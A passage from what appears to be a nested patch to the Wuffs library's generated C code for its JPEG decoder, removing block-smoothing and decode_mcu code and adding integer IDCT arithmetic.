wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } +- self->private_data.f_mcu_blocks[0u][1u] = ((uint16_t)(v_scratch)); +- } +- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][5u]; +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][2u])); +- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][2u] == 0u)) { +- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(4294967272u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } else { +- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } +- self->private_data.f_mcu_blocks[0u][2u] = ((uint16_t)(v_scratch)); +- } +- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][2u]; +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][8u])); +- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][8u] == 0u)) { +- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(4294967289u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(50u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(4294967246u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(7u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } else { +- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } +- self->private_data.f_mcu_blocks[0u][8u] = ((uint16_t)(v_scratch)); +- } +- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][4u]; +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][9u])); +- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][9u] == 0u)) { +- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(10u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(4294967286u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(4294967286u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(10u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(1u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } else { +- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } +- self->private_data.f_mcu_blocks[0u][9u] = ((uint16_t)(v_scratch)); +- } +- v_al = self->private_impl.f_block_smoothing_lowest_scan_al[a_csel][3u]; +- v_q_xy = ((uint32_t)(self->private_impl.f_quant_tables[v_q][16u])); +- if ((v_al > 0u) && (v_q_xy > 0u) && (self->private_data.f_mcu_blocks[0u][16u] == 0u)) { +- v_limit = ((((uint32_t)(1u)) << v_al) - 1u); +- v_scratch = 0u; +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][1u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[0u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][1u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[1u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][1u]))); +- v_scratch += ((uint32_t)(4294967272u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[2u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][1u]))); +- v_scratch += ((uint32_t)(13u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[3u][4u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][0u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][1u]))); +- v_scratch += ((uint32_t)(4294967295u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][2u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][3u]))); +- v_scratch += ((uint32_t)(0u * wuffs_base__utility__sign_extend_convert_u16_u32(self->private_impl.f_block_smoothing_dc_values[4u][4u]))); +- v_scratch *= v_q_00; +- if (v_scratch < 2147483648u) { +- v_scratch = ((uint32_t)(0u + wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u + v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } else { +- v_scratch = ((uint32_t)(0u - wuffs_base__u32__min(v_limit, (((uint32_t)(((uint32_t)(0u - v_scratch)) + (v_q_xy << 7u))) / (v_q_xy << 8u))))); +- } +- self->private_data.f_mcu_blocks[0u][16u] = ((uint16_t)(v_scratch)); +- } ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][18u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][18u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][50u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][50u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][2u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][2u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][34u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][34u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][10u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][10u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][26u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][26u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][42u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][42u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][58u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][58u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = ((uint32_t)(v_ci51 + v_cj)); ++ v_cl73 = ((uint32_t)(v_ci73 + v_cj)); ++ v_ck1 += ((uint32_t)(v_ci71 + v_cl51)); ++ v_ck3 += ((uint32_t)(v_ci53 + v_cl73)); ++ v_ck5 += ((uint32_t)(v_ci53 + v_cl51)); ++ v_ck7 += ((uint32_t)(v_ci71 + v_cl73)); ++ v_intermediate[2u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 + v_ck1)) + 1024u)), 11u); ++ v_intermediate[58u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd0 - v_ck1)) + 1024u)), 11u); ++ v_intermediate[10u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 + v_ck3)) + 1024u)), 11u); ++ v_intermediate[50u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd1 - v_ck3)) + 1024u)), 11u); ++ v_intermediate[18u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 + v_ck5)) + 1024u)), 11u); ++ v_intermediate[42u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd2 - v_ck5)) + 1024u)), 11u); ++ v_intermediate[26u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 + v_ck7)) + 1024u)), 11u); ++ v_intermediate[34u] = wuffs_base__utility__sign_extend_rshift_u32(((uint32_t)(((uint32_t)(v_cd3 - v_ck7)) + 1024u)), 11u); + } +- return wuffs_base__make_empty_struct(); +-} +- +-// -------- func jpeg.decoder.decode_mcu +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my) { +- return (*self->private_impl.choosy_decode_mcu)(self, a_workbuf, a_mx, a_my); +-} +- +-WUFFS_BASE__GENERATED_C_CODE +-static uint32_t +-wuffs_jpeg__decoder__decode_mcu__choosy_default( +- wuffs_jpeg__decoder* self, +- wuffs_base__slice_u8 a_workbuf, +- uint32_t a_mx, +- uint32_t a_my) { +- uint32_t v_ret = 0; +- uint64_t v_bits = 0; +- uint32_t v_n_bits = 0; +- uint8_t v_csel = 0; +- wuffs_base__io_buffer u_r = wuffs_base__empty_io_buffer(); +- wuffs_base__io_buffer* v_r = &u_r; +- const uint8_t* iop_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io0_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_v_r WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- uint32_t v_pos = 0; +- uint8_t v_dc_h = 0; +- uint32_t v_dc_symbol = 0; +- uint32_t v_dc_ht_fast = 0; +- uint32_t v_dc_bl = 0; +- uint32_t v_dc_code = 0; +- uint32_t v_dc_blm1 = 0; +- uint32_t v_dc_ht_slow = 0; +- uint16_t v_dc_value = 0; +- uint16_t v_dc_extend = 0; +- const uint16_t* v_ac_huff_table_fast = NULL; +- uint8_t v_ac_h = 0; +- uint32_t v_ac_symbol = 0; +- uint32_t v_ac_ht_fast = 0; +- uint32_t v_ac_bl = 0; +- uint32_t v_ac_code = 0; +- uint32_t v_ac_blm1 = 0; +- uint32_t v_ac_ht_slow = 0; +- uint16_t v_ac_value = 0; +- uint16_t v_ac_extend = 0; +- uint32_t v_ac_rrrr = 0; +- uint32_t v_ac_ssss = 0; +- uint32_t v_z = 0; +- uint32_t v_mcb = 0; +- uint64_t v_stride = 0; +- uint64_t v_offset = 0; +- +- v_bits = self->private_impl.f_bitstream_bits; +- v_n_bits = self->private_impl.f_bitstream_n_bits; +- if (self->private_impl.f_bitstream_ri > self->private_impl.f_bitstream_wi) { +- return 2u; ++ if (0u == (self->private_data.f_mcu_blocks[0u][11u] | ++ self->private_data.f_mcu_blocks[0u][19u] | ++ self->private_data.f_mcu_blocks[0u][27u] | ++ self->private_data.f_mcu_blocks[0u][35u] | ++ self->private_data.f_mcu_blocks[0u][43u] | ++ self->private_data.f_mcu_blocks[0u][51u] | ++ self->private_data.f_mcu_blocks[0u][59u])) { ++ v_intermediate[3u] = ((uint32_t)(((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][3u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][3u])))) << 2u)); ++ v_intermediate[11u] = v_intermediate[3u]; ++ v_intermediate[19u] = v_intermediate[3u]; ++ v_intermediate[27u] = v_intermediate[3u]; ++ v_intermediate[35u] = v_intermediate[3u]; ++ v_intermediate[43u] = v_intermediate[3u]; ++ v_intermediate[51u] = v_intermediate[3u]; ++ v_intermediate[59u] = v_intermediate[3u]; ++ } else { ++ v_bq2 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][19u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][19u])))); ++ v_bq6 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][51u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][51u])))); ++ v_ca = ((uint32_t)(((uint32_t)(v_bq2 + v_bq6)) * 4433u)); ++ v_cb2 = ((uint32_t)(v_ca + ((uint32_t)(v_bq2 * 6270u)))); ++ v_cb6 = ((uint32_t)(v_ca - ((uint32_t)(v_bq6 * 15137u)))); ++ v_bq0 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][3u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][3u])))); ++ v_bq4 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][35u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][35u])))); ++ v_ccp = ((uint32_t)(((uint32_t)(v_bq0 + v_bq4)) << 13u)); ++ v_ccm = ((uint32_t)(((uint32_t)(v_bq0 - v_bq4)) << 13u)); ++ v_cd0 = ((uint32_t)(v_ccp + v_cb2)); ++ v_cd1 = ((uint32_t)(v_ccm + v_cb6)); ++ v_cd2 = ((uint32_t)(v_ccm - v_cb6)); ++ v_cd3 = ((uint32_t)(v_ccp - v_cb2)); ++ v_bq1 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][11u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][11u])))); ++ v_bq3 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][27u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][27u])))); ++ v_bq5 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][43u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][43u])))); ++ v_bq7 = ((uint32_t)(wuffs_base__utility__sign_extend_convert_u16_u32(self->private_data.f_mcu_blocks[0u][59u]) * ((uint32_t)(self->private_impl.f_quant_tables[a_q][59u])))); ++ v_ci51 = ((uint32_t)(v_bq5 + v_bq1)); ++ v_ci53 = ((uint32_t)(v_bq5 + v_bq3)); ++ v_ci71 = ((uint32_t)(v_bq7 + v_bq1)); ++ v_ci73 = ((uint32_t)(v_bq7 + v_bq3)); ++ v_cj = ((uint32_t)(((uint32_t)(v_ci73 + v_ci51)) * 9633u)); ++ v_ck1 = ((uint32_t)(v_bq1 * 12299u)); ++ v_ck3 = ((uint32_t)(v_bq3 * 25172u)); ++ v_ck5 = ((uint32_t)(v_bq5 * 16819u)); ++ v_ck7 = ((uint32_t)(v_bq7 * 2446u)); ++ v_ci51 *= 4294964100u; ++ v_ci53 *= 4294946301u; ++ v_ci71 *= 4294959923u; ++ v_ci73 *= 4294951227u; ++ v_cl51 = 